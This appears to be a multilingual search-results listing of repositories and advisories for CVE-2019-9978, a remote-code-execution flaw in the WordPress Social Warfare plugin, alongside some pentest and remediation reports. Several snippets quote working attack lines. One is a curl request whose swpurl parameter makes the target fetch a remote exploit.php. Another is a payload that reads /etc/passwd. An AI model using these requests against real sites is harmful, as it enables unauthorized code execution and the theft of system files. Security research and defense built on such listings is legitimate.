128 matches found
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – Ejecución Remota de Código en el Plugin Social Warfare de WordPress ⚠️ AVISO: Este repositorio es solo para pruebas de seguridad educativas y autorizadas. Úselo únicamente en sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado es ilegal...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga Informe de remediación para MegaQuagga Publishing que valida la mitigación de CVE-2019-9978 mediante una defensa progresiva por capas. Documenta la inserción de un proxy inverso, la implementación de ModSecurity como WAF, la integración con Graylog SIEM y la aplicación d...
CVE-2019-9978
CVE-2019-9978 - RCE en el plugin Social Warfare para Wordpress 3.5.3 Ejecución remota de código en el plugin Social Warfare anterior a la versión 3.5.3 para Wordpress. Este PoC no requiere ejecutar un servidor HTTP adicional. Solo pasa tu IP local y el puerto deseado y el exploit creará un servid...
CVE-2019-9978
CVE-2019-9978 - RCE en el plugin Social Warfare de Wordpress RCE en el plugin Social Warfare de Wordpress sin necesidad de autenticación previa Prueba de concepto root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Guárdalo con el nombre: payload.txt y súbelo a un servidor. La URI debería verse así: https://yoursite.com/payload.txt. Finalmente, proporciona tus opciones --target y --payload-uri: root@kitploit: $ python...
CVE-2019-9978
CVE-2019-9978 – Prova di concetto PoC PoC funzionale per la vulnerabilità CVE-2019-9978 , che colpisce il plugin Social Warfare = 3.5.2, consentendo l'esecuzione remota di codice RCE in WordPress. 📌 Descrizione Questo exploit abusa del parametro swpdebug=loadoptions per forzare il caricamento di ...
CVE-2019-9978_Exploit
CVE-2019-9978 Exploit Social WarFare Plugin =3.5.2 Esecuzione di codice in remoto...
CVE-2019-9978
CVE-2019-9978 Plugin WordPress Social Warfare Vulnerabilità RCE 3.5.3 🐞 Simulazione minima dal plugin vulnerabile e sfruttalo 🥰 Installazione del Plugin Vulnerabile Installa le dipendenze: root@kitploit: docker-compose build Avvia i container del server vulnerabile e dell'attaccante root@kitploit...
CVE-2019-9978
Plugin Wordpress Social Warfare 3.5.2 Esecuzione di codice remoto Wordpress Social Warfare Esecuzione di codice remoto CARICAMENTO AUTOMATICO SHELL Data: Marzo, 2019 Link di download: https://wordpress.org/plugins/social-warfare/ Riferimento: https://wpvulndb.com/vulnerabilities/9259 Versione: CV...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 – Social Warfare WordPress Plugin RCE Dieses Repository enthält einen funktionierenden Python-Exploit für CVE-2019-9978, eine Remote Code Execution-Schwachstelle im Social Warfare Plugin für WordPress Version = 3.5.2. Beschreibung Der Parameter swpdebug in admin-post.php erlaubt es...
MegaQuagga_Pentesting_Report
Report di Penetration Testing MegaQuagga Questo repository contiene un test di penetrazione completo di un'applicazione web eseguito su un ambiente WordPress. La valutazione include scoperta delle vulnerabilità, sfruttamento, post-sfruttamento e documentazione dell'impatto reale dell'attacco. 🔍...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Exploit del Plugin Social Warfare per WordPress Inclusione Remota di File RFI non autenticata verso Esecuzione Remota di Codice RCE 📌 Descrizione Questo repository contiene un Proof of Concept PoC basato su Python che dimostra lo sfruttamento di CVE-2019-9978 , una...
CVE-2019-9978
CVE-2019-9978 - Plugin Social Warfare WordPress RCE system'cat /etc/passwd' ✅ Passo 2 – Avviare un Server HTTP Python...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...
CVE-2024-34825
Cross-Site Request Forgery CSRF vulnerability in Warfare Plugins Social Warfare.This issue affects Social Warfare: from n/a through 4.4.5.1...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2019-9978-RCE-PoC A custom Pytho...
EUVD-2024-35090
Malicious code in bioql PyPI...